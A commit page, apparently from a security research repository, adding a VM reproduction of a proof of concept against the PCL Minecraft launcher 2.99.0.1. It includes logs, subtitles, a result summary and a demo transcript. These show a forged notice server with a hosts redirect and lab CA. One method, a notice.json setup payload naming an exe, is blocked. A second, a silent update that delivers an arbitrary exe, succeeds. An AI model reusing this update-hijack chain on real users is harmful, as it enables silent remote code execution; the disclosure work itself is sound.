Просмотр исходного кода

Add 2.99.0.1 Windows VM dynamic test and demo

Method 1 (setup -> LaunchAdvanceRun) is blocked by the 12-key blacklist; method 2 (silent update -> arbitrary exe) still works zero-click on a fresh Windows 10 LTSC 2021 VM.

- analysis/2.99.0.1/vm-test: report, demo video with Chinese subtitles, evidence (marker, staging exe hashes, PCL/server logs)
- repeat/: QEMU/VNC automation, autounattend, demo scripts, recorder, evidence extraction and video pipeline; no ISO/PCL zip/private keys
- README updates; local VM working copy ignored
MiRinChan 8 часов назад
Родитель
Сommit
0215ae8e5b
63 измененных файлов с 5095 добавлено и 2 удалено
  1. 3 0
      .gitignore
  2. 1 1
      README.md
  3. 10 1
      analysis/2.99.0.1/README.md
  4. 15 0
      analysis/2.99.0.1/vm-test/FRAMES.md
  5. 155 0
      analysis/2.99.0.1/vm-test/README.md
  6. 36 0
      analysis/2.99.0.1/vm-test/demo.srt
  7. 69 0
      analysis/2.99.0.1/vm-test/evidence/Log1.txt
  8. 1 0
      analysis/2.99.0.1/vm-test/evidence/Notice.cfg
  9. 21 0
      analysis/2.99.0.1/vm-test/evidence/RESULT.txt
  10. 3 0
      analysis/2.99.0.1/vm-test/evidence/Setup.ini
  11. 10 0
      analysis/2.99.0.1/vm-test/evidence/demo-timeline.csv
  12. 168 0
      analysis/2.99.0.1/vm-test/evidence/demo-transcript.txt
  13. 12 0
      analysis/2.99.0.1/vm-test/evidence/demo.log
  14. BIN
      analysis/2.99.0.1/vm-test/evidence/final-desktop.png
  15. 1 0
      analysis/2.99.0.1/vm-test/evidence/marker.txt
  16. 68 0
      analysis/2.99.0.1/vm-test/evidence/method1/Log1.txt
  17. 18 0
      analysis/2.99.0.1/vm-test/evidence/method1/poc-run.log
  18. 0 0
      analysis/2.99.0.1/vm-test/evidence/method1/server.err.log
  19. 6 0
      analysis/2.99.0.1/vm-test/evidence/method1/server.out.log
  20. 73 0
      analysis/2.99.0.1/vm-test/evidence/method2/Log1.txt
  21. 1 0
      analysis/2.99.0.1/vm-test/evidence/method2/marker.txt
  22. 21 0
      analysis/2.99.0.1/vm-test/evidence/method2/poc-run.log
  23. 0 0
      analysis/2.99.0.1/vm-test/evidence/method2/server.err.log
  24. 8 0
      analysis/2.99.0.1/vm-test/evidence/method2/server.out.log
  25. BIN
      analysis/2.99.0.1/vm-test/evidence/method2/staging.exe
  26. BIN
      analysis/2.99.0.1/vm-test/evidence/method2/update.zip
  27. BIN
      analysis/2.99.0.1/vm-test/evidence/method2/zip-entry.exe
  28. BIN
      analysis/2.99.0.1/vm-test/evidence/staging.exe
  29. 1 0
      analysis/2.99.0.1/vm-test/evidence/staging.sha256.txt
  30. 1 0
      analysis/2.99.0.1/vm-test/evidence/watch-staging.txt
  31. BIN
      analysis/2.99.0.1/vm-test/evidence/zip-entry.exe
  32. 1435 0
      analysis/2.99.0.1/vm-test/frames-index.csv
  33. BIN
      analysis/2.99.0.1/vm-test/pcl-2.99.0.1-poc-demo.mp4
  34. BIN
      analysis/2.99.0.1/vm-test/stills/final-desktop.png
  35. BIN
      analysis/2.99.0.1/vm-test/stills/method1-blocked.jpg
  36. BIN
      analysis/2.99.0.1/vm-test/stills/method2-success.jpg
  37. 9 0
      analysis/2.99.0.1/vm-test/trim.json
  38. 15 0
      repeat/.gitignore
  39. 225 0
      repeat/README.md
  40. 50 0
      repeat/build-toolkit.sh
  41. 24 0
      repeat/extract-evidence.sh
  42. 30 0
      repeat/init-vm.sh
  43. 32 0
      repeat/make-video.sh
  44. 119 0
      repeat/make_srt.py
  45. 69 0
      repeat/qmp.py
  46. 138 0
      repeat/record.py
  47. 13 0
      repeat/record.sh
  48. 63 0
      repeat/run-vm.sh
  49. 9 0
      repeat/subtitles/captions.tsv
  50. 231 0
      repeat/toolkit/autounattend.xml
  51. 543 0
      repeat/toolkit/pcl-test/PCLPoC/Invoke-PCLPoC.ps1
  52. 15 0
      repeat/toolkit/pcl-test/PCLPoC/samples/notice.launch.calc.json
  53. 14 0
      repeat/toolkit/pcl-test/PCLPoC/samples/notice.launch.certutil.json
  54. 247 0
      repeat/toolkit/pcl-test/PCLPoC/server.ps1
  55. 247 0
      repeat/toolkit/pcl-test/PCLPoC/server.py
  56. 34 0
      repeat/toolkit/pcl-test/arrange-windows.ps1
  57. 35 0
      repeat/toolkit/pcl-test/close-pcl.ps1
  58. 420 0
      repeat/toolkit/pcl-test/demo.ps1
  59. 7 0
      repeat/toolkit/pcl-test/firstlogon.cmd
  60. 157 0
      repeat/toolkit/pcl-test/lib-gui.ps1
  61. 91 0
      repeat/toolkit/pcl-test/prepare.ps1
  62. 82 0
      repeat/toolkit/pcl-test/setup-final.ps1
  63. 39 0
      repeat/toolkit/pcl-test/watch-staging.ps1

+ 3 - 0
.gitignore

@@ -4,3 +4,6 @@
 # PCL 本体:发布包与解包后的 exe
 /PCL*.zip
 /Plain Craft Launcher 2.exe
+
+# Local VM working copy (distributable harness is repeat/)
+/vm/

+ 1 - 1
README.md

@@ -1,7 +1,7 @@
 1. [向龙腾猫跃的道歉公告](#my-apology)
 2. [PCL PoC 与研究报告](#report)
 
-[2026-10-25 更新 2.99.0.1 删掉了吗?没有——见复查报告](analysis/2.99.0.1/README.md)
+[2026-10-25 更新 2.99.0.1 删掉了吗?没有——见复查报告](analysis/2.99.0.1/README.md);[Windows VM 动态复现与录屏](analysis/2.99.0.1/vm-test/README.md)
 
 # 重申为什么我的观点倾向于 PCL 有一个后门。
 

+ 10 - 1
analysis/2.99.0.1/README.md

@@ -29,6 +29,15 @@
 | `slientupdate` → 任意 zip → 替换自身 | 有 | 有 |
 | `HasUpdatePermission` | `=> true` | `=> true` |
 
+## 动态验证(2026-10-25)
+
+已在隔离的 Windows 10 Enterprise LTSC 2021 VM 上复跑:
+
+- 方法一:PCL 日志 `被禁止的设置项:LaunchAdvanceRun`,无 marker;
+- 方法二:staging exe 与 `update.zip` entry 的 SHA-256 相同,marker 写入,Calculator 拉起;
+- 视频与证据:[`vm-test/`](vm-test/README.md)、[`pcl-2.99.0.1-poc-demo.mp4`](vm-test/pcl-2.99.0.1-poc-demo.mp4);
+- 复现脚本:[`repeat/`](../../repeat/README.md)。
+
 ## 样本
 
 用户给的 `PCL 正式版 2.99.0.1.zip`,SHA-256
@@ -51,7 +60,7 @@
 ```
 
 19 个 `.cs` 里大部分是版本号 413 → 415、更新日志、删 MC 下载入口和 UI。跟远程执行有关
-的只有 `ModSecret.cs` 的 `setup` 黑名单。这次只是静态 diff,没在 Windows VM 上重跑 PoC。
+的只有 `ModSecret.cs` 的 `setup` 黑名单。除了静态 diff,这次还在 Windows 10 LTSC 2021 VM 上重跑了 PoC:方法一被黑名单拦截,方法二仍然零点击成功。详见 [vm-test](vm-test/README.md)(含录屏、逐帧和证据)。
 
 ## 2.99.0.1 堵了什么
 

+ 15 - 0
analysis/2.99.0.1/vm-test/FRAMES.md

@@ -0,0 +1,15 @@
+# 逐帧素材位置
+
+最终 take 的原始逐帧保留在本机:
+
+```text
+vm/frames/final3/
+├── frame-000000.jpg ... frame-001433.jpg   # 1434 张 1920×1080 JPEG
+└── index.csv                                # 帧号 + epoch 毫秒 + ISO 时间
+```
+
+- 最终视频取帧 **101–1087**(step1 → end+12s),源帧全部保留,未删除。
+- 关键帧:101(step1)、554(方法一被拦)、858(方法二 staging)、900(SUCCESS + Calculator)、991(end)。
+- 另有 `vm/frames/final`、`vm/frames/final2` 两个布局调试 take,同样保留。
+- 本目录的 [`frames-index.csv`](frames-index.csv) 是 `final3/index.csv` 的副本;完整 JPEG 不放进
+  `analysis/`,避免仓库膨胀。

+ 155 - 0
analysis/2.99.0.1/vm-test/README.md

@@ -0,0 +1,155 @@
+# PCL 2.99.0.1 公告/静默更新 PoC:Windows VM 动态验证
+
+日期:2026-10-25
+环境:QEMU 11.1.2 + KVM,Windows 10 Enterprise LTSC 2021 x64 en-US,4 vCPU / 4 GB,
+无网卡,1920×1080。VM 位于 `~/.HHD/PCLPoC-VM`(私有,不随仓库分发)。
+
+## 结论
+
+| 链路 | 结果 |
+|---|---|
+| 方法一:`notice.json -> setup -> LaunchAdvanceRun` | **BLOCKED**:2.99.0.1 的黑名单抛出 `被禁止的设置项:LaunchAdvanceRun`,payload 未执行 |
+| 方法二:`notice.cfg + slientupdate -> ServerConfig -> update.zip -> PCL\Plain Craft Launcher 2.exe` | **SUCCESS**:零点击;PCL 正常退出时执行下载的 4096 字节 exe,marker 与哈希均吻合 |
+
+这次是动态复跑,不是静态 diff。方法一被拦、方法二仍可用,和复查报告的判断一致。
+
+## 样本
+
+```text
+PCL 正式版 2.99.0.1.zip
+  sha256 4d239a62ed66fb9ebcf4633fd881eb098e9a7e4f296f0e414b58aa2f1f7f7830
+Plain Craft Launcher 2.exe (2.99.0.1)
+  sha256 0db34e19d9eeb6d496d20fabe786ec16bbd36ba6b0ccdc8d29cb7e909c114397
+```
+
+## 方法一:现场被拦截
+
+PoC 以 `-Mode launch` 启动,`notice.json` 顶层 `actions.setup` 写入:
+
+```json
+{"LaunchAdvanceRun":"C:\\Users\\Public\\pclpoc.exe","LaunchAdvanceRunWait":"False"}
+```
+
+PCL 2.99.0.1 在处理 `setup` 时命中黑名单。`evidence/method1/Log1.txt` 第 62–65 行:
+
+```text
+03:05:49.865 E <22 · L/PCL 配置更新> [ModSecret] 执行 PCL 服务器公告动作失败(setup, {
+03:05:49.865 E <22 · L/PCL 配置更新> [ModSecret]   "LaunchAdvanceRun": "C:\\Users\\Public\\pclpoc.exe",
+03:05:49.865 E <22 · L/PCL 配置更新> [ModSecret]   "LaunchAdvanceRunWait": "False"
+03:05:49.865 E <22 · L/PCL 配置更新> [ModSecret] }):被禁止的设置项:LaunchAdvanceRun
+```
+
+- `evidence/method1/poc-run.log`:`[-] No marker file was produced.`
+- `%TEMP%\pcl-poc-marker.txt` 不存在。
+- 这正是复查报告说的 12 键黑名单:`LaunchAdvanceRun` 在第一位。
+
+## 方法二:仍然零点击成功
+
+`server.ps1` 返回:
+
+```text
+notice.cfg      11002|0|0|0|999
+ServerConfig    Update.Release.DownloadUrls -> https://.../update.zip
+update.zip      Plain Craft Launcher 2.exe (4096 bytes)
+```
+
+PCL 把 zip 解压到 `PCL\Plain Craft Launcher 2.exe`(staging),正常退出时
+`UpdateRestart` 启动它。结果:
+
+```text
+marker:
+2026-10-25T03:06:35.7399399+08:00 pid=2264 args=--update 2444 Plain Craft Launcher 2.exe Plain Craft Launcher 2.exe False
+
+staged exe      4096 bytes
+staging sha256  DA949D1F40D1DD40BA80C0CEEAB43278EDA92FA680A0551ACAFF0E39BC12CB6D
+zip entry sha256 DA949D1F40D1DD40BA80C0CEEAB43278EDA92FA680A0551ACAFF0E39BC12CB6D
+hash match      the downloaded zip entry ran.
+calc.exe        started (visible on the right)
+```
+
+- `evidence/marker.txt`:原始 marker。
+- `evidence/staging.exe`、`evidence/zip-entry.exe`:同一 4096 字节 payload。
+- `evidence/staging.sha256.txt`:payload 哈希。
+- `evidence/method2/poc-run.log`、`method2/server.out.log`:下载/退出/执行时间线。
+- `evidence/RESULT.txt`:PCL 自己写出的结果摘要。
+- `evidence/final-desktop.png`:终端、`RESULT.txt` Notepad、Calculator 同屏。
+
+## 录屏与逐帧
+
+- 合成视频:[`pcl-2.99.0.1-poc-demo.mp4`](pcl-2.99.0.1-poc-demo.mp4)
+  - 1920×1080,2:03,H.264,烧录中文字幕;字幕源 [`demo.srt`](demo.srt)。
+  - 时间线:step1 00:00 → 方法一 00:56 → 方法二 01:17 → 结论 01:51。
+- 关键截图:
+  - [`stills/method1-blocked.jpg`](stills/method1-blocked.jpg)
+  - [`stills/method2-success.jpg`](stills/method2-success.jpg)
+  - [`stills/final-desktop.png`](stills/final-desktop.png)
+- **逐帧原始素材**:`vm/frames/final3/`,1434 张 1920×1080 JPEG(8 fps)+
+  `index.csv`(帧号/epoch 毫秒),约 270 MB。**已保留,未删除。**
+  - `frames-index.csv` 是本目录里的索引副本。
+  - 另外保留的 take:`vm/frames/final`、`final2`(布局调试版,未删除)。
+- 视频只取 step1 到 end+12s(帧 101–1087),未删除任何源帧。
+
+## 证据文件
+
+```text
+evidence/
+├── RESULT.txt                  PCL 侧结果摘要
+├── marker.txt                  方法二执行证明
+├── staging.exe                 下载并执行的 4096 字节 payload
+├── zip-entry.exe               update.zip 里的同名 exe
+├── staging.sha256.txt
+├── Notice.cfg / Setup.ini
+├── Log1.txt                    当前 PCL 日志
+├── demo-timeline.csv           7 步演示时间线(epoch 毫秒)
+├── demo.log                    布局/分辨率/步骤记录
+├── demo-transcript.txt
+├── method1/
+│   ├── Log1.txt                方法一被拦截的完整日志(第 62–65 行)
+│   ├── poc-run.log
+│   └── server.out.log
+└── method2/
+    ├── Log1.txt
+    ├── poc-run.log
+    ├── server.out.log
+    ├── staging.exe
+    ├── zip-entry.exe
+    └── update.zip
+```
+
+`demo.log` 记录的计算布局:
+
+```text
+[03:05:04] resolution=1920x1080 screen=1920x1020 console=918x1020 pcl=998
+```
+
+由于 Windows 控制台字体在 150% DPI 下实际更宽,最终画面里终端约 0–1190 px,
+PCL/Calculator/Notepad 位于约 1250–1920 px;两者留有空隙、互不遮挡。PCL 通过
+`HIGHDPIAWARE` 兼容标记按 100% 渲染,右侧完整可见。可对照
+`stills/method1-blocked.jpg`、`stills/method2-success.jpg` 和
+`stills/final-desktop.png`。
+
+## 复现包
+
+完整可分发脚本在仓库根目录的 [`repeat/`](../../../repeat/README.md):
+
+- `build-toolkit.sh`:生成 MBR + FAT32 工具盘(含 autounattend/演示脚本/PoC)。
+- `run-vm.sh`:`install` / `demo` 两个阶段;USB 必须 `removable=on`,否则 Setup 不读
+  `autounattend.xml`。
+- `record.sh` / `record.py`:QMP `screendump` 逐帧录制。
+- `extract-evidence.sh`:关机后从 FAT 镜像取 `pcl-test/evidence`。
+- `make-video.sh` / `make_srt.py`:按 `demo-timeline.csv` 裁切、烧字幕。
+- `toolkit/`:无人值守 XML、演示脚本、PoC 脚本(**不含 `certs/` 私钥**)。
+
+复现包不含 Windows ISO、PCL zip、CA 私钥或主机用户名;VM 磁盘中的 lab CA 私钥属于
+运行时实验材料,`~/.HHD/PCLPoC-VM` 应保持私有。
+
+## 备注与限制
+
+- 方法一在 2.99.0.1 上**必然被拦**;本视频如实展示“尝试 → 被拦 → 方法二成功”。
+  若要看 `LaunchAdvanceRun` 真正执行,需要 2.99.0.0 + 可启动的 Minecraft 实例,
+  不在本复现包范围内。
+- 录制使用 Administrator 审核模式桌面(OOBE/自动登录在 LTSC 上不稳定);画面中的
+  `C:\Users\Administrator` 是通用实验室账户,不含个人信息。
+- LTSC 2021 的 Calculator 是 UWP 应用;payload 的 `calc.exe` 成功拉起,
+  画面右侧可见。
+- 逐帧目录约 270 MB,未纳入 git;保留在本机 `vm/frames/final3/`。

+ 36 - 0
analysis/2.99.0.1/vm-test/demo.srt

@@ -0,0 +1,36 @@
+1
+00:00:00,028 --> 00:00:06,294
+打开 Windows 10 LTSC 2021 隔离虚拟机
+
+2
+00:00:06,294 --> 00:00:12,294
+复制新版 PCL 2.99.0.1 压缩包到桌面
+
+3
+00:00:12,294 --> 00:00:21,200
+解压到桌面
+
+4
+00:00:21,200 --> 00:00:55,841
+运行 PoC:伪造公告服务器、hosts 与自签 CA
+
+5
+00:00:55,841 --> 00:01:08,809
+方法一:LaunchAdvanceRun 已被 2.99.0.1 拉黑,payload 未执行
+
+6
+00:01:08,809 --> 00:01:17,247
+删掉整个 PCL
+
+7
+00:01:17,247 --> 00:01:34,680
+方法二:notice.cfg + slientupdate → 静默更新 → 任意 exe
+
+8
+00:01:34,680 --> 00:01:51,289
+零点击成功:PCL 退出时执行下载的 exe
+
+9
+00:01:51,289 --> 00:02:03,289
+结论:方法一被堵,方法二仍然可用
+

+ 69 - 0
analysis/2.99.0.1/vm-test/evidence/Log1.txt

@@ -0,0 +1,69 @@
+03:06:29.724 I <4 · Logger> [Logger] PclLogger 日志初始化结束
+03:06:29.833 I [Application] 程序版本:正式版 2.99.0.1 (415)
+03:06:29.833 I [Application] 识别码:31CC-4EC4-8125-E930
+03:06:29.833 I [Application] 程序路径:C:\Users\*************\Desktop\PCL\Plain Craft Launcher 2.exe
+03:06:29.849 I [Application] 系统编码:Windows-1252 (1252, GBK=False)
+03:06:29.849 I [Application] 管理员权限:True
+03:06:29.849 I [Application] 第一阶段加载用时:256 ms
+03:06:30.396 I [FormMain] 全新的 PCL,使用新的版本隔离默认值
+03:06:30.396 I [ModSecret] 刷新主题:0
+03:06:30.490 I [ModLoader] 加载器 LoaderTask`2 Minecraft Folder List 状态改变:Loading
+03:06:30.490 I [FormMain] 第二阶段加载用时:603 ms
+03:06:30.505 I <5 · L/Minecraft Folder List> [ModMinecraft] 已创建 launcher_profiles.json:C:\Users\*************\Desktop\PCL\.minecraft\
+03:06:30.505 I <5 · L/Minecraft Folder List> [ModLoader] 加载器 LoaderTask`2 Minecraft Folder List 状态改变:Finished
+03:06:30.958 I [FormMain] 从设置更新背景图片与标题栏样式
+03:06:31.036 I [FormMain] 窗口已置顶,位置:(190, 65.3333333333333), 900 x 550
+03:06:31.036 I [FormMain] 第三阶段加载用时:93 ms
+03:06:31.036 I <7 · Animation> [ModAnimation] 动画线程开始
+03:06:31.052 I <11 · Version Check> [PageLaunchLeft] 没有已储存的 Minecraft 文件夹
+03:06:31.052 I <11 · Version Check> [ModLoader] 加载器 LoaderTask`2 Minecraft Folder List 状态改变:Loading
+03:06:31.052 I <12 · L/Minecraft Folder List> [ModLoader] 加载器 LoaderTask`2 Minecraft Folder List 状态改变:Finished
+03:06:31.083 I <11 · Version Check> [ModMinecraft] 当前选择的 Minecraft 文件夹:C:\Users\*************\Desktop\PCL\.minecraft\
+03:06:31.083 I <11 · Version Check> [PageLaunchLeft] 当前选择的 Minecraft 版本无效:null
+03:06:31.083 I <11 · Version Check> [ModLoader] 加载器 LoaderTask`2 Minecraft Instance List 状态改变:Loading
+03:06:31.099 I <13 · L/Minecraft Instance List> [ModMinecraft] 当前选择的 Minecraft 版本:无
+03:06:31.099 I <13 · L/Minecraft Instance List> [ModMinecraft] 未找到可用 Minecraft 版本
+03:06:31.099 I <13 · L/Minecraft Instance List> [ModLoader] 加载器 LoaderTask`2 Minecraft Instance List 状态改变:Finished
+03:06:31.115 I <11 · Version Check> [PageLaunchLeft] 无可用 Minecraft 版本
+03:06:31.177 I [ModLoader] 加载器 LoaderTask`2 Loader Skin Legacy 状态改变:Loading
+03:06:31.177 I <14 · L/Loader Skin Legacy> [ModLoader] 加载器 LoaderTask`2 Loader Skin Legacy 状态改变:Finished
+03:06:31.193 W <9 · 初始化> [ModJava] 初始化未找到可用的 Java,将自动触发搜索
+03:06:31.208 I <15 · W/JavaListRefreshWorker> [RedoableWorker] JavaListRefreshWorker:运行开始
+03:06:31.224 I [PageLaunchRight] 实例化:清空主页 UI,来源为空
+03:06:31.224 I [PageLaunchLeft] 启动按钮:无 Minecraft 版本,下载已禁用
+03:06:31.239 I [ModBase] 将资源写入到文件:libwebp64 → C:\Users\*************\Desktop\PCL\PCL\libwebp.dll
+03:06:31.255 I <Async> [Java] Java 搜索完成,发现 0 个 Java
+03:06:31.271 I <15 · W/JavaListRefreshWorker> [RedoableWorker] JavaListRefreshWorker:运行成功
+03:06:31.271 I [MySkin] 载入头像成功:Loader Skin Legacy
+03:06:31.271 I [ModAnimation] 两个动画帧间隔 187 ms
+03:06:31.318 I <9 · 初始化> [ModLoader] 加载器 LoaderTask`2 DlClientList Mojang 状态改变:Loading
+03:06:31.318 I <9 · 初始化> [ModLoader] 加载器 LoaderTask`2 PCL 配置更新 状态改变:Loading
+03:06:31.318 I <23 · TryClearTaskTemp> [ModMain] 开始清理任务缓存文件夹
+03:06:31.318 I <23 · TryClearTaskTemp> [ModMain] 已清理任务缓存文件夹
+03:06:31.318 I <21 · L/DlClientList Mojang> [ModNet] 发起网络请求(GET,https://launchermeta.mojang.com/mc/game/version_manifest.json),最大超时 10000
+03:06:31.333 I <24 · Telemetry> [ModMain] 匿名数据上报:启动
+03:06:31.349 I <22 · L/PCL 配置更新> [ModNet] 发起网络请求(GET,https://pcl2-server-1253424809.file.myqcloud.com/notice.cfg{CDN}),最大超时 10000
+03:06:31.771 I [FormMain] DPI:144,系统版本:Microsoft Windows NT 10.0.19044.0,PCL 位置:C:\Users\*************\Desktop\PCL\Plain Craft Launcher 2.exe
+03:06:31.818 I <22 · L/PCL 配置更新> [ModSecret] 本地公告编号:0,服务器公告:11002|0|0|0|999,需更新
+03:06:31.818 I <22 · L/PCL 配置更新> [ModSecret] 本地配置版本号:0,服务器配置版本号:999,需要更新
+03:06:31.818 I <22 · L/PCL 配置更新> [ModNet] 通过网络请求直接下载小文件:https://pcl2-server-1253424809.file.myqcloud.com/ServerConfig.json{CDN} → C:\Users\*************\AppData\Local\Temp\PCL\Cache\ServerConfig.json
+03:06:32.036 I <22 · L/PCL 配置更新> [ModNet] 发起网络请求(GET,https://pcl2-server-1253424809.file.myqcloud.com/notice.json{CDN}),最大超时 10000
+03:06:32.318 I <22 · L/PCL 配置更新> [ModSecret] 重要等级 999,更新公告 False
+03:06:32.318 I <22 · L/PCL 配置更新> [ModLoader] 加载器 LoaderCombo`1 启动器更新 状态改变:Loading
+03:06:32.318 I <22 · L/PCL 配置更新> [ModLoader] 加载器 LoaderTask`2 获取更新信息 状态改变:Loading
+03:06:32.318 I <22 · L/PCL 配置更新> [ModLoader] 加载器 LoaderTask`2 PCL 配置更新 状态改变:Finished
+03:06:32.380 I <23 · L/获取更新信息> [ModSecret] 更新开始,静默:True,扩展名:.zip,下载目标:C:\Users\*************\AppData\Local\Temp\PCL\TaskTemp\82-900779\2.99.0.1.50.zip,URL:https://pcl2-server-1253424809.file.myqcloud.com/update.zip
+03:06:32.380 I <23 · L/获取更新信息> [ModLoader] 加载器 LoaderTask`2 获取更新信息 状态改变:Finished
+03:06:32.396 I <23 · L/获取更新信息> [ModLoader] 加载器 LoaderDownload 下载更新文件 状态改变:Loading
+03:06:32.396 I <21 · L/DlClientList Mojang> [ModDownload] Mojang 官方源加载耗时:1079ms,可优先使用官方源
+03:06:32.396 I <21 · L/DlClientList Mojang> [ModLoader] 加载器 LoaderTask`2 DlClientList Mojang 状态改变:Finished
+03:06:32.396 I <15 · L/下载 79> [ModNet] 开始清理下载缓存
+03:06:32.396 I <15 · L/下载 79> [ModNet] 下载缓存已清理
+03:06:32.427 I <30 · 下载 79/84/85#> [ModNet] 2.99.0.1.50.zip:开始,起始点 0,https://pcl2-server-1253424809.file.myqcloud.com/update.zip
+03:06:32.458 I <30 · 下载 79/84/85#> [ModNet] 2.99.0.1.50.zip:文件大小 1806(1.76 K)
+03:06:32.474 I <30 · 下载 79/84/85#> [ModNet] 2.99.0.1.50.zip:已完成
+03:06:32.474 I <30 · 下载 79/84/85#> [ModLoader] 加载器 LoaderDownload 下载更新文件 状态改变:Finished
+03:06:32.474 I <30 · 下载 79/84/85#> [ModLoader] 加载器 LoaderTask`2 安装更新 状态改变:Loading
+03:06:32.474 I <31 · L/安装更新> [ModSecret] 解压更新文件:C:\Users\*************\AppData\Local\Temp\PCL\TaskTemp\82-900779\2.99.0.1.50.zip
+03:06:32.630 I <31 · L/安装更新> [ModLoader] 加载器 LoaderTask`2 安装更新 状态改变:Finished
+03:06:32.630 I <31 · L/安装更新> [ModLoader] 加载器 LoaderCombo`1 启动器更新 状态改变:Finished

+ 1 - 0
analysis/2.99.0.1/vm-test/evidence/Notice.cfg

@@ -0,0 +1 @@
+11002|0|0|0|999

+ 21 - 0
analysis/2.99.0.1/vm-test/evidence/RESULT.txt

@@ -0,0 +1,21 @@
+PCL 2.99.0.1 PoC - VM demo result
+=================================
+VM        : Windows 10 Enterprise LTSC 2021 (isolated, no NIC)
+PCL       : 2.99.0.1 (build 415)
+
+Method 1  : notice.json -> setup -> LaunchAdvanceRun
+            BLOCKED by the 2.99.0.1 setup blacklist.
+            PCL log: rejected key LaunchAdvanceRun.
+            payload marker: absent.
+
+Method 2  : notice.cfg -> slientupdate -> ServerConfig -> update.zip -> exe
+            SUCCESS, zero-click.
+            marker: 
+2026-10-25T03:06:35.7399399+08:00 pid=2264 args=--update 2444 Plain Craft Launcher 2.exe Plain Craft Launcher 2.exe False
+            staged exe sha256: 
+DA949D1F40D1DD40BA80C0CEEAB43278EDA92FA680A0551ACAFF0E39BC12CB6D
+            update.zip entry sha256: 
+DA949D1F40D1DD40BA80C0CEEAB43278EDA92FA680A0551ACAFF0E39BC12CB6D
+
+Conclusion: 2.99.0.1 blocks method 1 only; method 2 still
+replaces the launcher on exit.

+ 3 - 0
analysis/2.99.0.1/vm-test/evidence/Setup.ini

@@ -0,0 +1,3 @@
+WindowHeight:737
+WindowWidth:998
+LaunchFolderSelect:$.minecraft\

+ 10 - 0
analysis/2.99.0.1/vm-test/evidence/demo-timeline.csv

@@ -0,0 +1,10 @@
+step1,1792868704630,Windows 10 Enterprise LTSC 2021 - isolated lab VM. PCL 2.99.0.1 (build 415).
+step2,1792868710896,Copy PCL 2.99.0.1.zip to the Desktop.
+step3,1792868716896,Extract the new PCL to Desktop\PCL.
+step4,1792868725802,Run the PoC: forged notice server, hosts entry and a lab CA.
+method1,1792868760443,method 1: notice.json -> setup -> LaunchAdvanceRun
+blocked,1792868761286,2.99.0.1 blocks LaunchAdvanceRun
+step6,1792868773411,Delete the entire PCL directory.
+step7,1792868781849,Method 2: notice.cfg + slientupdate -> silent update -> arbitrary exe.
+success,1792868799282,method 2: slientupdate -> arbitrary exe (success)
+end,1792868815891,demo end

+ 168 - 0
analysis/2.99.0.1/vm-test/evidence/demo-transcript.txt

@@ -0,0 +1,168 @@
+**********************
+Windows PowerShell transcript start
+Start time: 20261025030453
+Username: W-\Administrator
+RunAs User: W-\Administrator
+Configuration Name: 
+Machine: W- (Microsoft Windows NT 10.0.19044.0)
+Host Application: powershell.exe -NoProfile -ExecutionPolicy Bypass -File D:\pcl-test\demo.ps1
+Process ID: 3864
+PSVersion: 5.1.19041.1237
+PSEdition: Desktop
+PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.19041.1237
+BuildVersion: 10.0.19041.1237
+CLRVersion: 4.0.30319.42000
+WSManStackVersion: 3.0
+PSRemotingProtocolVersion: 2.3
+SerializationVersion: 1.1.0.1
+**********************
+Waiting for the desktop ...
+==============================================================
+ PCL 2.99.0.1 PoC demo  |  step1
+==============================================================
+
+Windows 10 Enterprise LTSC 2021 - isolated lab VM. PCL 2.99.0.1 (build 415).
+
+  computer : W-
+  user     : Administrator
+  OS       : Microsoft Windows 10 Enterprise LTSC
+  display  : 1920x1080 (1920x1020)
+  network  : no NIC attached
+==============================================================
+ PCL 2.99.0.1 PoC demo  |  step2
+==============================================================
+
+Copy PCL 2.99.0.1.zip to the Desktop.
+
+  C:\Users\Administrator\Desktop\PCL-2.99.0.1.zip
+  size   : 2673993 bytes
+  sha256 : 4D239A62ED66FB9EBCF4633FD881EB098E9A7E4F296F0E414B58AA2F1F7F7830
+==============================================================
+ PCL 2.99.0.1 PoC demo  |  step3
+==============================================================
+
+Extract the new PCL to Desktop\PCL.
+
+  C:\Users\Administrator\Desktop\PCL\Plain Craft Launcher 2.exe
+  size   : 6013952 bytes
+  sha256 : 0DB34E19D9EEB6D496D20FABE786EC16BBD36BA6B0CCDC8D29CB7E909C114397
+==============================================================
+ PCL 2.99.0.1 PoC demo  |  step4
+==============================================================
+
+Run the PoC: forged notice server, hosts entry and a lab CA.
+
+  target : pcl2-server-1253424809.file.myqcloud.com
+  hosts  : 127.0.0.1
+  server : https://127.0.0.1:443 (PowerShell TlsListener)
+  notice : id 11002, importantLevel 999
+
+  notice.json -> actions.setup:
+    "LaunchAdvanceRun": "C:\\Users\\Public\\pclpoc.exe"
+
+  Starting the PoC and PCL ...
+
+[03:05:28] PCL: C:\Users\Administrator\Desktop\PCL\Plain Craft Launcher 2.exe
+[03:05:29] hosts already contains the lab entry.
+[03:05:29] DNS cache flushed.
+[03:05:29] Generating lab CA and leaf certificates ...
+[03:05:31] CA generated: 98D33A82388DDAB8F63D9099F63A2343E4ED6C3C
+[03:05:31] leaf generated: F892D85ED609589BAFDB3D82B65D69183384E994
+[03:05:32] payload compiled: C:\Users\Public\pclpoc.exe
+[03:05:35] PoC server listening on https://127.0.0.1:443 (mode=launch)
+[03:05:35] Starting PCL ...
+[03:05:36] PCL PID 2500
+
+>>> In PCL, click "Start Game" (a working Minecraft instance is required).
+>>> This is what runs the LaunchAdvanceRun payload.
+
+[03:05:36] Waiting up to 40 seconds for C:\Users\ADMINI~1\AppData\Local\Temp\pcl-poc-marker.txt ...
+
+[-] No marker file was produced.
+    PCL log: C:\Users\Administrator\Desktop\PCL\PCL\Log*.txt
+    server log: C:\PCLPoC\backup\server.out.log
+
+[03:05:57] Cleanup ...
+[03:05:57] CA removed.
+[03:05:57] leaf certificate removed.
+[03:05:58] hosts restored.
+[03:05:58] PCL registry restored.
+[03:05:58] Done.
+
+--- Method 1 result ---
+  no marker: LaunchAdvanceRun was not executed.
+  PCL log: C:\Users\Administrator\Desktop\PCL\PCL\Log1.txt
+  62: 03:05:49.865 E <22 · L/PCL 配置更新> [ModSecret] 执行 PCL 服务器公告动作失败(setup, {
+  63: 03:05:49.865 E <22 · L/PCL 配置更新> [ModSecret]   "LaunchAdvanceRun": "C:\\Users\\Public\\pclpoc.exe",
+  64: 03:05:49.865 E <22 · L/PCL 配置更新> [ModSecret]   "LaunchAdvanceRunWait": "False"
+  65: 03:05:49.865 E <22 · L/PCL 配置更新> [ModSecret] }):被禁止的设置项:LaunchAdvanceRun
+
